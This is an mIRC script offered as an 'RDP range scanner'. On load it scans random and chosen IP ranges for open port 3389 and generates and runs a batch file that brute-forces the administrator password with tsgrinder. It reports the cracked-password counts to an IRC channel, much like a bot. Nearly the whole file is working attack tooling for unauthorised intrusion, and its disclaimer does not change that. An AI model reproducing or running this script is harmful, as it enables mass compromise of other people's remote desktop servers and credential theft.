;RDP Range scanner made by independent (need tsgrinder by thor from HoG)
;Disclaimer:
;The responsiblity of how the program will be used lies in the hands of the person who installs it and will use it, that's you.
;I will not be held responsible for any of your actions.
;If you don't agree, do not install this file.
;By using the proxy scanner, you accept the responsibility of your action on your own.

on 1:LOAD:{ set %username administrator | set %delay 23 | rangerdp 76. $+ $r(0,255) $+ . $+ $r(0,255) | if (!$server) server %def.s %def.p -j $chr(35) $+ $gettok(%def.c,1,32) | if ($server) msg $chr(35) $+ $gettok(%def.c,1,32) $colourencode(* Successfully loaded RDP range scanner with $os .) }

alias dothatfkincrap {
  if ($isfile(START.bat)) .remove start.bat
  write START.bat @ECHO OFF
  write START.bat SETLOCAL
  write START.bat SET LogOptions=ECHO DONT_ZIP
  write START.bat logtext $1 "" $chr(37) $+ LogOptions%
  write START.bat logtext $1 "***Cracking $1 User: %username ***" $chr(37) $+ LogOptions%
  write START.bat CALL tsgrinder.exe -u %username $1 $+ $chr(124) logtext $1 "" STDIN $chr(37) $+ LogOptions%
  write START.bat ENDLOCAL
  run START.BAT
}
alias rangerdp {
  unset %range*
  set %range1 $gettok($1,1,46)
  set %range2 $gettok($1,2,46)
  set %range3 $gettok($1,3,46)
  .timerRANGE -om 0 20 nextrdp 3389
  .timerrange2 -o 0 300 tellpass
  if ($server) msg $chr(35) $+ $gettok(%def.c,1,32) $colourencode(* SCAN Starting at $1 .)
}
alias tellpass {
  :NEXT
  %max = $findfile($mircdir,*.*.*.*.log,0)
  inc %incmax
  if (%incmax > %max) || (%max == 0) goto end
  if (!$read($findfile($mircdir,*.*.*.*.log,%incmax),w,*su*,0)) .remove $findfile($mircdir,*.*.*.*.log,%incmax)
  if ($read($findfile($mircdir,*.*.*.*.log,%incmax),w,*su*,0)) inc %passs
  goto NEXT
  :END
  unset %max
  unset %incmax
  msg $chr(35) $+ $gettok(%def.c,1,32) Found %passs passwords.
  unset %passs
}
menu menubar {
  RDP scanner: window -e @rdp
}
menu @rdp {
  scan range: rangerdp $?="String1" $+ . $+ $?="String2" $+ . $+ $?="String3"
  Stop/Pause: stoprdp
  continue:{ .timerRANGE -om 0 20  nextrdp | echo @RDP 8* Resuming from last point... }
  -
  edit dictionary: run notepad dict
  -
  Open mstsc from cmdline: run mstsc -v $?="Ip Please..."
  -
  User %username : set %username $$?="Username please"
  Delay %delay : set %delay $$?="Delay between each brutes in seconds"
}
alias nextrdp {
  :START
  set %temp $r(0,999999999999)
  if ($sock(rdp $+ %temp).name != $null) goto START
  inc %range4
  sockopen rdp $+ %temp %range1 $+ . $+ %range2 $+ . $+ %range3 $+ . $+ %range4 3389
  goto next
  :NEXT
  if (%range4 >= 255) { inc %range3 | set %range4 0 }
  if (%range3 >= 255) { inc %range2 | set %range3 0 }
  if (%range2 >= 255) { unset %range* | .timerRANGE off | if ($server) msg $gettok(%def.c,1,32) * Scan halted. | halt }
}
alias stoprdp { .timerrange* off | .timerrestart off | sockclose *rdp* }
on 1:INPUT:@rdp:sockopen RDP $+ $r(0,999999999999) $gettok($wildtok($1-,*.*.*.*,1,32),1,58) 3389
on 1:SOCKOPEN:RDP*:{ if (!$sockerr) { .timerRANGE off | .timerRESTART -o 1 %delay .timerRANGE -om 0 20 nextrdp 3389 | set %range3 $gettok($sock($sockname).ip,3,46) | set %range4 $gettok($sock($sockname).ip,4,46) | dothatfkincrap $sock($sockname).ip | if (!$read($findfile($mircdir,*.*.*.*.log,1),w,*su*,0)) .remove $findfile($mircdir,*.*.*.*.log,1) | sockclose *rdp* } }
;RDP End